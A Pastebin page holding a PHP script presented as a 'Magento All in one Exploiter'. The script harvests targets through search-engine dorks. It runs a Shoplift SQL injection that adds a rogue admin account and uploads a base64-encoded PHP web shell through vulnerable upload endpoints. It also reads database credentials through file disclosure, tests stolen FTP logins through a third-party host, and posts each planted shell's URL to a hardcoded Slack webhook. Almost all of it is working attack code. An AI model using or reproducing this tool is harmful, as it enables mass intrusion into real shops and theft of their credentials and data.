API tools faq
paste
erikcahya

Untitled

erikcahya
May 10th, 2017
798
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.06 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. function logo()
  3. {
  4. $logo = "=======================================================\n";
  5. $logo .= "Magento All in one Exploiter\n";
  6. $logo .= "Created By Pak Haxor Special Thank To Papah Crew\n";
  7. $logo .= "Thank To Yogyakarta BlackHat & All Coder Indonesian\n";
  8. $logo .= "=======================================================\n";
  9. echo $logo;
  10. }
  11. function CurlPost($url, $post = false,$type=null){
  12. if($type == 1)
  13. {
  14. $ch = curl_init();
  15. curl_setopt ($ch, CURLOPT_URL, $url);
  16. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
  17. curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
  18. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  19. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  20. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  21. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  22. curl_setopt ($ch, CURLOPT_POST, 1);
  23. $headers = array();
  24. $headers[] = 'Accept-Encoding: gzip, deflate';
  25. $headers[] = 'Content-Type: application/x-www-form-urlencoded';
  26. curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers);
  27. curl_setopt ($ch, CURLOPT_HEADER, 1);
  28. $result = curl_exec ($ch);
  29. curl_close($ch);
  30. return $result;
  31. }
  32. if($type == 2)
  33. {
  34. $ch = curl_init();
  35. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  36. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  37. curl_setopt($ch, CURLOPT_URL, $url);
  38. curl_setopt($ch, CURLOPT_HEADER, 0);
  39. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  40. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  41. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  42. if($post !== false){
  43. $isi = '';
  44. foreach($post as $key=>$value){
  45. $isi .= $key.'='.$value.'&';
  46. }
  47. rtrim($isi, '&');
  48. curl_setopt($ch, CURLOPT_URL, $url);
  49. curl_setopt($ch, CURLOPT_POST, count($isi));
  50. curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  51. curl_setopt($ch, CURLOPT_POSTFIELDS, $isi);
  52. }
  53. $data = curl_exec($ch);
  54. curl_close($ch);
  55. return $data;
  56. }
  57. }
  58.  
  59. function Jswebforms($site,$file)
  60. {
  61. $post = array('files[]'=>"@$file") ;
  62. $ch = curl_init();
  63. curl_setopt ($ch, CURLOPT_URL, "$site/js/webforms/upload/");
  64. curl_setopt ($ch, CURLOPT_USERAGENT, "msnbot/1.0 (+http://search.msn.com/msnbot.htm)");
  65. curl_setopt($ch, CURLOPT_POST, true);
  66. curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
  67. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  68. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  69. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  70. $data = curl_exec($ch);
  71. curl_close($ch);
  72. $json = json_decode($data);
  73. if(isset($json[0]->url))
  74. {
  75. $shell = get_content($json[0]->url);
  76. return (preg_match("/Pak Haxor/",$shell)) ? $json[0]->url : false;
  77. }
  78. }
  79. function ROGMAGE($site,$file)
  80. {
  81. $post = array('tuUploadFile'=>"@$file") ;
  82. $ch = curl_init();
  83. curl_setopt ($ch, CURLOPT_URL, "$site/js/rokmage_tinymce/tinyupload.php");
  84. curl_setopt ($ch, CURLOPT_USERAGENT, "msnbot/1.0 (+http://search.msn.com/msnbot.htm)");
  85. curl_setopt($ch, CURLOPT_POST, true);
  86. curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
  87. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  88. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  89. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  90. $data = curl_exec($ch);
  91. $url = parse_url($site);
  92. $target = (!isset($url["scheme"]) ? "http://".$site : $url["scheme"]."://".$url["host"]);
  93. $checkshell = get_content($target."/media/rt-tinymce-uploads/sj.php");
  94. return $checkshell;
  95.  
  96.  
  97. }
  98. function webhooksending($text)
  99. {
  100. $url = 'https://hooks.slack.com/services/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';
  101. $ch = curl_init($url);
  102. $jsonData = array(
  103. 'text' => $text
  104. );
  105. $jsonDataEncoded = json_encode($jsonData);
  106. curl_setopt($ch, CURLOPT_POST, 1);
  107. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  108. curl_setopt($ch, CURLOPT_POSTFIELDS, $jsonDataEncoded);
  109. curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
  110. $result = @curl_exec($ch);
  111. return ($result == "ok") ? true : false ;
  112.  
  113. }
  114. function createshell()
  115. {
  116. $ext = array("php","php5","php7","php.j","phtml","shtml","php.pjpeg");
  117. $shell = "PD9waHANCmVjaG8gYmFzZTY0X2RlY29kZSgiVUdGcklFaGhlRzl5Iik7DQplY2hvICI8YnI+Ii5waHBfdW5hbWUoKS4iPGJyPiI7DQplY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2lkeCc+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0ndXBsb2FkJyB2YWx1ZT0ndXBsb2FkJz4NCjwvZm9ybT4iOw0KaWYoJF9QT1NUWyd1cGxvYWQnXSkgew0KCWlmKEBjb3B5KCRfRklMRVNbJ2lkeCddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydpZHgnXVsnbmFtZSddKSkgew0KCWVjaG8gInN1a3NlcyI7DQoJfSBlbHNlIHsNCgllY2hvICJnYWdhbCI7DQoJfQ0KfQ0KPz4=";
  118. for($i=0;$i<count($ext);$i++)
  119. {
  120. $fp = fopen("sj.".$ext[$i], 'a+');
  121. fwrite($fp, base64_decode($shell));
  122. fclose($fp);
  123. }
  124. return $ext;
  125. }
  126. function get_content($url)
  127. {
  128. return @file_get_contents($url);
  129. }
  130. function FinderPhpMyAdmin($site)
  131. {
  132. $x = 1;
  133. $list = array(
  134. '/phpMyAdmin/',
  135. '/phpmyadmin/',
  136. '/PMA/',
  137. '/pma/',
  138. '/dbadmin/',
  139. '/mysql/',
  140. '/myadmin/',
  141. '/phpmyadmin2/',
  142. '/phpMyAdmin2/',
  143. '/phpMyAdmin-2/',
  144. '/php-my-admin/',
  145. '/phpMyAdmin-2.2.3/',
  146. '/phpMyAdmin-2.2.6/',
  147. '/phpMyAdmin-2.5.1/',
  148. '/phpMyAdmin-2.5.4/',
  149. '/phpMyAdmin-2.5.5-rc1/',
  150. '/phpMyAdmin-2.5.5-rc2/',
  151. '/phpMyAdmin-2.5.5/',
  152. '/phpMyAdmin-2.5.5-pl1/',
  153. '/phpMyAdmin-2.5.6-rc1/',
  154. '/phpMyAdmin-2.5.6-rc2/',
  155. '/phpMyAdmin-2.5.6/',
  156. '/phpMyAdmin-2.5.7/',
  157. '/phpMyAdmin-2.5.7-pl1/',
  158. '/phpMyAdmin-2.6.0-alpha/',
  159. '/phpMyAdmin-2.6.0-alpha2/',
  160. '/phpMyAdmin-2.6.0-beta1/',
  161. '/phpMyAdmin-2.6.0-beta2/',
  162. '/phpMyAdmin-2.6.0-rc1/',
  163. '/phpMyAdmin-2.6.0-rc2/',
  164. '/phpMyAdmin-2.6.0-rc3/',
  165. '/phpMyAdmin-2.6.0/',
  166. '/phpMyAdmin-2.6.0-pl1/',
  167. '/phpMyAdmin-2.6.0-pl2/',
  168. '/phpMyAdmin-2.6.0-pl3/',
  169. '/phpMyAdmin-2.6.1-rc1/',
  170. '/phpMyAdmin-2.6.1-rc2/',
  171. '/phpMyAdmin-2.6.1/',
  172. '/phpMyAdmin-2.6.1-pl1/',
  173. '/phpMyAdmin-2.6.1-pl2/',
  174. '/phpMyAdmin-2.6.1-pl3/',
  175. '/phpMyAdmin-2.6.2-rc1/',
  176. '/phpMyAdmin-2.6.2-beta1/',
  177. '/phpMyAdmin-2.6.2-rc1/',
  178. '/phpMyAdmin-2.6.2/',
  179. '/phpMyAdmin-2.6.2-pl1/',
  180. '/phpMyAdmin-2.6.3/',
  181. '/phpMyAdmin-2.6.3-rc1/',
  182. '/phpMyAdmin-2.6.3/',
  183. '/phpMyAdmin-2.6.3-pl1/',
  184. '/phpMyAdmin-2.6.4-rc1/',
  185. '/phpMyAdmin-2.6.4-pl1/',
  186. '/phpMyAdmin-2.6.4-pl2/',
  187. '/phpMyAdmin-2.6.4-pl3/',
  188. '/phpMyAdmin-2.6.4-pl4/',
  189. '/phpMyAdmin-2.6.4/',
  190. '/phpMyAdmin-2.7.0-beta1/',
  191. '/phpMyAdmin-2.7.0-rc1/',
  192. '/phpMyAdmin-2.7.0-pl1/',
  193. '/phpMyAdmin-2.7.0-pl2/',
  194. '/phpMyAdmin-2.7.0/',
  195. '/phpMyAdmin-2.8.0-beta1/',
  196. '/phpMyAdmin-2.8.0-rc1/',
  197. '/phpMyAdmin-2.8.0-rc2/',
  198. '/phpMyAdmin-2.8.0/',
  199. '/phpMyAdmin-2.8.0.1/',
  200. '/phpMyAdmin-2.8.0.2/',
  201. '/phpMyAdmin-2.8.0.3/',
  202. '/phpMyAdmin-2.8.0.4/',
  203. '/phpMyAdmin-2.8.1-rc1/',
  204. '/phpMyAdmin-2.8.1/',
  205. '/phpMyAdmin-2.8.2/',
  206. '/sqlmanager/',
  207. '/mysqlmanager/',
  208. '/p/m/a/',
  209. '/PMA2005/',
  210. '/pma2005/',
  211. '/phpmanager/',
  212. '/php-myadmin/',
  213. '/phpmy-admin/',
  214. '/webadmin/',
  215. '/sqlweb/',
  216. '/websql/',
  217. '/webdb/',
  218. '/mysqladmin/',
  219. '/mysql-admin/',
  220. '/mya/',
  221. );
  222. if(isset($site))
  223. {
  224. echo "\n[+] Searching Phpmyadmin Login : ";
  225. foreach($list as $path => $test)
  226. {
  227. $ch = curl_init();
  228. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  229. curl_setopt($ch, CURLOPT_HEADER, 1);
  230. curl_setopt($ch, CURLOPT_URL, $site.$test);
  231. $result = curl_exec($ch);
  232. curl_close($ch);
  233. if (preg_match("/200 OK/", $result))
  234. {
  235. return $site.$test;
  236. break;
  237. }
  238. else if (preg_match("/401 Unauthorized/", $result))
  239. {
  240. return $site.$test;
  241. }
  242. else
  243. {
  244. echo ".";
  245. }
  246. }
  247. }
  248. }
  249.  
  250. function finderAdminer($site)
  251. {
  252. $list = array(
  253. '/adminer.php',
  254. '/adminer-4.2.6-dev.php',
  255. '/adminer-4.2.5.php',
  256. '/adminer-4.2.4.php',
  257. '/adminer-4.2.3.php',
  258. '/adminer-4.2.2.php',
  259. '/adminer-4.2.1.php',
  260. '/adminer-4.2.0.php',
  261. '/adminer-4.1.0.php',
  262. '/adminer-4.0.3.php',
  263. '/adminer-4.0.2.php',
  264. '/adminer-4.0.1.php',
  265. '/adminer-4.0.0.php',
  266. '/adminer-3.7.1.php',
  267. '/adminer-3.7.0.php',
  268. '/adminer-3.6.4.php',
  269. '/adminer-3.6.3.php',
  270. '/adminer-3.6.2.php',
  271. '/adminer-3.6.1.php',
  272. '/adminer-3.6.0.php',
  273. '/adminer-3.5.1.php',
  274. '/adminer-3.5.0.php',
  275. '/adminer-3.4.0.php',
  276. '/adminer-3.3.4.php',
  277. '/adminer-3.3.3.php',
  278. '/adminer-3.3.2.php',
  279. '/adminer-3.3.1.php',
  280. '/adminer-3.3.0.php',
  281. '/adminer-3.2.2.php',
  282. '/adminer-3.2.1.php',
  283. '/adminer-3.2.0.php',
  284. '/adminer-3.1.0.php',
  285. '/adminer-3.0.1.php',
  286. '/adminer-3.0.0.php',
  287. '/adminer-2.3.2.php',
  288. '/adminer-2.3.1.php',
  289. '/adminer-2.3.0.php',
  290. '/adminer-2.2.1.php',
  291. '/adminer-2.2.0.php',
  292. '/adminer-2.1.0.php',
  293. '/adminer-2.0.0.php',
  294. '/adminer-1.11.1.php',
  295. '/adminer-1.11.0.php');
  296. if(isset($site))
  297. {
  298. echo "\n[+] Searching Adminer Login : ";
  299. foreach($list as $path => $test)
  300. {
  301. $ch = curl_init();
  302. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  303. curl_setopt($ch, CURLOPT_HEADER, 1);
  304. curl_setopt($ch, CURLOPT_URL, $site.$test);
  305. $result = curl_exec($ch);
  306. curl_close($ch);
  307. if (preg_match("/200 OK/", $result))
  308. {
  309. return $site.$test;
  310. break;
  311. }
  312. else if (preg_match("/401 Unauthorized/", $result))
  313. {
  314. return $site.$test;
  315. }
  316. else
  317. {
  318. echo ".";
  319. }
  320. }
  321. }
  322. }
  323.  
  324. function ftplogin($host,$user,$pass)
  325. {
  326. $con = ftp_connect($host) or die("Couldn't connect");
  327. ftp_login($con, $user, $pass);
  328. return is_array(ftp_nlist($con, ".")) ? true : false;
  329. }
  330. function GetStr($start,$end,$string){
  331. $a = explode($start,$string);
  332. $b = explode($end,$a[1]);
  333. return $b[0];
  334. }
  335. function userFTP($username)
  336. {
  337. $user = explode("_",$username);
  338. return (isset($user[1])) ? $user[1] : $user[0];
  339. }
  340.  
  341. function ReadStdin($prompt, $valid_inputs=null, $default = '') {
  342. while(!isset($input) || (is_array($valid_inputs) && !in_array($input, $valid_inputs)) || ($valid_inputs == 'is_file' && !is_file($input))) {
  343. echo $prompt;
  344. $input = strtolower(trim(fgets(STDIN)));
  345. break;
  346. if(empty($input) && !empty($default)) {
  347. $input = $default;
  348. }
  349. }
  350. return $input;
  351. }
  352. function NameXFile($file)
  353. {
  354. $validation = explode('.',$file);
  355. $ext = array("txt","log","lst");
  356. for($x=0;$x<count($ext);$x++)
  357. {
  358. if($validation[1] == $ext[$x++])
  359. {
  360. return true;
  361. }
  362. }
  363. }
  364. function LoginDownloader($url){
  365. $link = parse_url($url);
  366. if(isset($link["scheme"]))
  367. {
  368. $data = CurlPost(sprintf("%s://%s/downloader/",$link["scheme"],$link["host"]),
  369. array("username" => "erik",
  370. "password" => "erik12345"),2
  371. );
  372. }
  373. else
  374. {
  375. $data = CurlPost("http://$url/downloader",
  376. array("username" => "erik",
  377. "password" => "erik12345"),2
  378. );
  379. }
  380. if(preg_match("/Log Out/i",$data) || (preg_match("/Return to Admin/i",$data))){
  381. $permission = (!preg_match("/Warning: Your Magento folder does not have sufficient write permissions./i",$data) ? "Writeable" : "Denied");
  382. $smtp = (preg_match("/Smtp/",$data) ? "Yes" : "No");
  383. $filemanager = (preg_match("/File_System/",$data) ? "Yes":"No");
  384. return $permission.
  385. "\n ==> Smtp : $smtp".
  386. "\n ==> Filemanager : $filemanager";
  387. } else {
  388. return "Failed";
  389. }
  390. }
  391. function getDomain($keyword)
  392. {
  393. if($keyword == 1)
  394. {
  395. return array($argv[1]);
  396. }
  397. }
  398. function filterDomain($domains)
  399. {
  400. $url = parse_url($domains);
  401. $target = (!isset($url["scheme"]) ? "http://".$domains : $url["scheme"]."://".$url["host"]);
  402. if(preg_match('/http/',$target))
  403. {
  404. $reparse = parse_url($target);
  405. $domain = (!isset($reparse["scheme"]) ? $target : $reparse["host"]);
  406. if (!filter_var("http://$domain", FILTER_VALIDATE_URL) === false)
  407. {
  408. if($domain !== "")
  409. {
  410. $checkdomain = explode('.',$domain);
  411. if(isset($checkdomain[1]))
  412. {
  413. return $domain;
  414. }
  415. }
  416. }
  417. }
  418. }
  419.  
  420. /*DEMO function checkstatusMysqlLogin($host,$user,$pass,$domain = null,$stop = true)
  421. {
  422.  
  423. $mysql = @mysqli_connect($host,$user,$pass);
  424. $sql = array($host,$user,$pass);
  425. if(!$mysql)
  426. {
  427. if($stop == true)
  428. {
  429. return false;
  430. }
  431. $recheck = checkstatusMysqlLogin($domain,$user,$pass);
  432. if(!$recheck)
  433. {
  434. $domain = str_replace("www.", "", $domain);
  435. checkstatusMysqlLogin("mysql.".$domain,$user,$pass,null,true);
  436. }
  437. else
  438. {
  439. return $sql;
  440. }
  441. }
  442. return $sql;
  443. }*/
  444. function wrongpress($read,$angka)
  445. {
  446. if(!isset($read) or $read > $angka or !(int)($read) or $read = "")
  447. {
  448. echo "Wrong Press !!!";
  449. die();
  450. }
  451. }
  452.  
  453. function SearchEngine($dork,$angka)
  454. {
  455. $list = array();
  456. if($angka == 1)
  457. {
  458. for($i=0;$i<=1000;$i+=10){
  459. $search = CurlPost("http://www.bing.com/search?q=".urlencode($dork)."&first=".$i,false,2);
  460. preg_match_all('/<a href=\"?http:\/\/([^\"]*)\"/m', $search, $m);
  461. foreach($m[1] as $link){
  462. if(!preg_match("/live|msn|bing|microsoft/",$link)){
  463. if(!in_array($link,$list)){
  464. $domain = filterDomain($link);
  465. $list[] = $domain;
  466. }
  467. }
  468. }
  469. echo ".";
  470. }
  471. echo "\nDitemukan : ".count(array_unique($list))."\n";
  472. return array_unique($list);
  473. }
  474. if($angka == 2)
  475. {
  476. $ccbing = array("ca","br","be","nl","uk","it","es","de","no","dk","se","ch","ru","jp","cn","kr","mx","ar","cl","au");
  477. for($x=0;$x<=count($ccbing)-1;$x++){
  478. for($i=0;$i<=1000;$i+=10){
  479. $search = CurlPost("http://www.bing.com/search?q=".urlencode($dork)."&cc=".$ccbing[$x]."&rf=1&first=".$i."&FORM=PORE",false,2);
  480. preg_match_all('/<a href=\"?http:\/\/([^\"]*)\"/m', $search, $m);
  481. foreach($m[1] as $link){
  482. if(!preg_match("/live|msn|bing|microsoft/",$link)){
  483. if(!in_array($link,$list)){
  484. $domain = filterDomain($link);
  485. $fp = fopen("domain.txt", 'a+');
  486. fwrite($fp, $domain."\n");
  487. fclose($fp);
  488. $list[] = $domain;
  489. }
  490. }
  491. }
  492. echo ".";
  493. }
  494. }
  495. echo "\nDitemukan : ".count(array_unique($list))."\n";
  496. return array_unique($list);
  497. }
  498. if($angka == 3)
  499. {
  500. for($x=1;$x<=1000;$x+=10){
  501. $check = CurlPost('http://www.dogpile.com/dogpilecontrol/search/web?qsi='.$x.'&q='.$dork.'&fcoid=4&fcop=results-bottom&fpid=2',false,2);
  502. preg_match_all('# target="_blank">(.*?)</a>#',$check,$matches);
  503. foreach($matches[1] as $domain)
  504. {
  505. $domain = str_replace("<strong>", "", $domain);
  506. $domain = str_replace("</strong>", "", $domain);
  507. $list[] = filterDomain($domain);
  508. }
  509. echo ".";
  510. }
  511. echo "\nDitemukan : ".count(array_unique($list))."\n";
  512. return array_unique($list);
  513. }
  514. }
  515. logo();
  516. $getdomains = ReadStdin("[1] Making Dork\n[2] Making List\n[3] Making Url\nSelected : ", array('1','2','3'));
  517. wrongpress($getdomains,3);
  518. if($getdomains == 1)
  519. {
  520. $dorker = ReadStdin("[1] Bing\n[2] Bing By Country\n[3] Dogpile\nSelected : ",array("keyword"));
  521. if(isset($dorker))
  522. {
  523. wrongpress($dorker,3);
  524. $url1 = ReadStdin("Masukkan Dork : ",array("keyword"));
  525. echo "Grabbing : ";
  526. $get = SearchEngine($url1,$dorker);
  527. }
  528. }
  529. if($getdomains == 2)
  530. {
  531. $url2 = ReadStdin("Masukkan Namafile TXT : ",array("keyword"));
  532. $get =(NameXFile($url2) == true) ? file($url2) : die("Masukkan Nama File Dengan Benar !!!");
  533. }
  534. if($getdomains == 3)
  535. {
  536. $url3 = ReadStdin("Masukkan url : ",array("keyword"));
  537. $get = array($url3);
  538. }
  539.  
  540. $addadmin = ReadStdin('Apakah Anda Ingin Menggunakan Shoplift(Magento Add Admin) ? (Y/N): ', array('Y', 'N'));
  541. $jswebforms = ReadStdin('Apakah Anda Ingin Menggunakan Magento Js Webforms ? (Y/N): ', array('Y', 'N'));
  542. $lfdScanning = ReadStdin('Apakah Anda Ingin Menggunakan LFD Scanning + magmi + amasty ? (Y/N): ', array('Y', 'N'));
  543. $rogmage_tinymce = ReadStdin('Apakah Anda Ingin Menggunakan TinyMCE ROGMAGE ? (Y/N): ', array('Y', 'N'));
  544. $ftpScanning = ReadStdin('Apakah Anda Ingin Menggunakan FTP Scanning(BETA) ? (Y/N): ', array('Y', 'N'));
  545. $scanningMysqlLogin = ReadStdin('Apakah Anda Ingin Menggunakan mysql finder ? (Y/N): ', array('Y', 'N'));
  546. //==================GET FROM FILEDATA====================//
  547. $x=1;
  548. foreach($get as $domain)
  549. {
  550. if($getdomains == 2)
  551. {
  552. $domain = str_replace("\r", "", $domain);
  553. $domain = str_replace("\n", "", $domain);
  554. }
  555. echo "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
  556. echo "Scanning Url : $domain\n";
  557. if($addadmin == "y")
  558. {
  559. echo "[+] Add Admin Status : ";
  560. $path = "/admin/Cms_Wysiwyg/directive/index/";
  561. $post = 'filter=cG9wdWxhcml0eVtmcm9tXT0wJnBvcHVsYXJpdHlbdG9dPTMmcG9wdWxhcml0eVtmaWVsZF9leHByXT0wKTtTRVQgQFNBTFQgPSAncnAnO1NFVCBAUEFTUyA9IENPTkNBVChNRDUoQ09OQ0FUKCBAU0FMVCAsICdlcmlrMTIzNDUnKSApLCBDT05DQVQoJzonLCBAU0FMVCApKTtTRUxFQ1QgQEVYVFJBIDo9IE1BWChleHRyYSkgRlJPTSBhZG1pbl91c2VyIFdIRVJFIGV4dHJhIElTIE5PVCBOVUxMO0lOU0VSVCBJTlRPIGBhZG1pbl91c2VyYCAoYGZpcnN0bmFtZWAsIGBsYXN0bmFtZWAsYGVtYWlsYCxgdXNlcm5hbWVgLGBwYXNzd29yZGAsYGNyZWF0ZWRgLGBsb2dudW1gLGByZWxvYWRfYWNsX2ZsYWdgLGBpc19hY3RpdmVgLGBleHRyYWAsYHJwX3Rva2VuYCxgcnBfdG9rZW5fY3JlYXRlZF9hdGApIFZBTFVFUyAoJ0ZpcnN0bmFtZScsJ0xhc3RuYW1lJywnZW1haWxAZXhhbXBsZS5jb20nLCdlcmlrJyxAUEFTUyxOT1coKSwwLDAsMSxARVhUUkEsTlVMTCwgTk9XKCkpO0lOU0VSVCBJTlRPIGBhZG1pbl9yb2xlYCAocGFyZW50X2lkLHRyZWVfbGV2ZWwsc29ydF9vcmRlcixyb2xlX3R5cGUsdXNlcl9pZCxyb2xlX25hbWUpIFZBTFVFUyAoMSwyLDAsJ1UnLChTRUxFQ1QgdXNlcl9pZCBGUk9NIGFkbWluX3VzZXIgV0hFUkUgdXNlcm5hbWUgPSAnZXJpaycpLCdGaXJzdG5hbWUnKTs=%3D&___directive=e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ&forwarded=1';
  562. $exploit = CurlPost($domain.$path,$post,1);
  563. if(preg_match('#200 OK#', $exploit))
  564. {
  565. echo "SUCCESS";
  566. echo "\n[+] Check Status Login :";
  567. $postlogin = array("login[username]" => "erik",
  568. "login[password]" => "erik12345");
  569. $postlogindownloader = array("username" => "erik",
  570. "password" => "erik12345");
  571. $checklogin = CurlPost($domain."/admin",$postlogin,2);
  572. $downloader = LoginDownloader($domain);
  573. if(preg_match('/<body id="html-body" class=" adminhtml-dashboard-index">/', $checklogin))
  574. {
  575. $total = GetStr("<span class=\"price\">","</span>",$checklogin);
  576. $average = GetStr('<span class="nowrap" style="font-size:18px;"><span class="price">',"</span>",$checklogin);
  577. echo "TRUE\n";
  578. $message = "====================================\n";
  579. $message .= " ==> Url Login : $domain/admin\n";
  580. $message .= " ==> Username : erik\n";
  581. $message .= " ==> Password : erik12345\n";
  582. $message .= " ==> Lifetime Sales : $total \n";
  583. $message .= " ==> Average Orders : $average \n";
  584. $message .= " ==> Downloader : $downloader \n";
  585. echo $message;
  586.  
  587. $fp = fopen("shoplift.txt", 'a+');
  588. fwrite($fp, $message);
  589. fclose($fp);
  590. }
  591. else
  592. {
  593. echo "FALSE\n";
  594. }
  595. echo "\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++";
  596. }
  597. else
  598. {
  599. echo "FAILURE\n";
  600. }
  601. }
  602.  
  603. if($jswebforms == "y")
  604. {
  605. if(CurlPost($domain."/js/webforms/upload",false,2) == "[]" or CurlPost($domain."/js/webforms/upload",false,2) == "null")
  606. {
  607. echo "[+] Uploaded Shell : ";
  608. if(!file_exists("sj.php"))
  609. {
  610. $ext = createshell();
  611. }
  612. else
  613. {
  614. $ext = array("php","php5","php7","php.j","phtml","shtml","php.pjpeg");
  615. }
  616. for($i=0;$i<count($ext);$i++)
  617. {
  618. echo ".";
  619. $exploit = Jswebforms($domain,"sj.".$ext[$i]);
  620. if(isset($exploit))
  621. {
  622. echo "\n".$exploit." Success \n";
  623. $fp = fopen("jswebforms.txt", 'a+');
  624. webhooksending($exploit."\n");
  625. fwrite($fp, $exploit."\n");
  626. fclose($fp);
  627. break;
  628. }
  629. }
  630. }
  631. else
  632. {
  633. echo "[-] Webforms Not vuln\n";
  634. }
  635. }
  636. if($rogmage_tinymce == "y")
  637. {
  638. $checkVuln = CurlPost($domain."/js/rokmage_tinymce/tinyupload.php",false,2);
  639. echo "[+] Tiny MCE Scanning :";
  640. if(preg_match('/rt-tinymce-uploads/',$checkVuln))
  641. {
  642. echo "VULN\n";
  643. echo "Uploading Shell :";
  644. $rogmage = ROGMAGE($domain,"sj.php");
  645. if(preg_match('/Pak Haxor/',$rogmage))
  646. {
  647. echo " $domain/media/rt-tinymce-uploads/sj.php\n";
  648. $fp = fopen("rogmage.txt", 'a+');
  649. fwrite($fp, "$domain/media/rt-tinymce-uploads/sj.php\n");
  650. fclose($fp);
  651. }
  652. else
  653. {
  654. echo " Shell Not FOUND\n";
  655. }
  656. }
  657. else
  658. {
  659. echo "FAILED\n";
  660. }
  661. }
  662. if($lfdScanning == "y")
  663. {
  664. $path = array("Amasty" => "/app/etc/local.xml",
  665. "Magmi" => "/magmi/web/download_file.php?file=../../app/etc/local.xml"
  666. );
  667. echo " [+] LFD Scanning :";
  668. foreach($path as $key => $value)
  669. {
  670. $url = parse_url($domain);
  671. $target = (!isset($url["scheme"]) ? "http://".$domain : $url["scheme"]."://".$url["host"]);
  672. $lfd = get_content($target.$value);
  673. if(preg_match("/<host><!/",$lfd))
  674. {
  675. echo "Found\n";
  676. $date = GetStr("<date><![CDATA[","]]></date>",$lfd);
  677. $host = GetStr("<host><![CDATA[","]]></host>",$lfd);
  678. $username = GetStr("<username><![CDATA[","]]></username>",$lfd);
  679. $password = GetStr("<password><![CDATA[","]]></password>",$lfd);
  680. $dbname = GetStr("<dbname><![CDATA[","]]></dbname>",$lfd);
  681. $lfdconfig = "\n==============[Mysql Login]===============";
  682. $lfdconfig .= "\nDomain : $domain";
  683. $lfdconfig .= "\nDate : $date";
  684. $lfdconfig .= "\nHost : $host";
  685. $lfdconfig .= "\nUsername : $username";
  686. $lfdconfig .= "\nPassword : $password";
  687. $lfdconfig .= "\nDatabaseName : $dbname";
  688. $lfdconfig .= "\n=========================================";
  689. echo $lfdconfig;
  690.  
  691. $fp = fopen("lfdconfig.txt", 'a+');
  692. fwrite($fp, $lfdconfig);
  693. fclose($fp);
  694. if($ftpScanning == "y")
  695. {
  696. echo "\n[+] Scanning FTP LOGIN : ";
  697. $url = parse_url($domain);
  698. $ftp = get_content("http://www.fccarolinasoccer.com/ftp.php?domain=$domain&username=".userFTP($username)."&password=$password");
  699. if(preg_match("/SUCCESS/",$ftp))
  700. {
  701. echo "SUCCESS\n";
  702. $ftpinfo = "================================\n";
  703. $ftpinfo .= "Host : ftp.".$url["host"]."\n";
  704. $ftpinfo .= "Username : ".userFTP($username)."\n";
  705. $ftpinfo .= "Password : ".$password."\n";
  706. $ftpinfo .= "================================\n";
  707. echo $ftpinfo;
  708. $fp = fopen("ftpmagento.txt", 'a+');
  709. fwrite($fp, $ftpinfo);
  710. fclose($fp);
  711. }
  712. else
  713. {
  714. echo "Failure\n";
  715. }
  716. }
  717. if($scanningMysqlLogin == "y")
  718. {
  719. $finderPhpmyadmin = FinderPhpMyAdmin("$domain");
  720. if(isset($finderPhpmyadmin))
  721. {
  722. $fp = fopen("lfdconfig.txt", 'a+');
  723. fwrite($fp, "\nPath Mysql login : $finderPhpmyadmin");
  724. fclose($fp);
  725. echo "\n Path Mysql login : $finderPhpmyadmin";
  726.  
  727. }
  728. elseif(!$finderPhpmyadmin)
  729. {
  730. $adminer = finderAdminer("$domain");
  731. if(isset($adminer))
  732. {
  733. $fp = fopen("lfdconfig.txt", 'a+');
  734.  
  735. fwrite($fp, "\nPath Mysql login : $adminer ");
  736. fclose($fp);
  737. echo "\n Path Mysql login : $adminer ";
  738. }
  739. else
  740. {
  741. /*DEMO{
  742. echo "\n[+] Manual MYSQL CHECKED :";
  743. $manualMYSQL = checkstatusMysqlLogin($host,$username,$password,"$domain");
  744. if($manualMYSQL !== false)
  745. {
  746. echo "SUCCESS\n";
  747. webhooksending("CAN LOGIN MANUAL == >
  748. HOST :".$manualMYSQL[0]
  749. ."USER :".$manualMYSQL[1]
  750. ."Passowrd :".$manualMYSQL[2]."\n");
  751. }
  752. else
  753. {*/
  754. echo "\nFAILED";
  755. /*DEMO }*/
  756. }
  757. }
  758. }
  759. break;
  760. }
  761. else
  762. {
  763. echo " \n==>[$key] Not Found";
  764. }
  765. }
  766. }
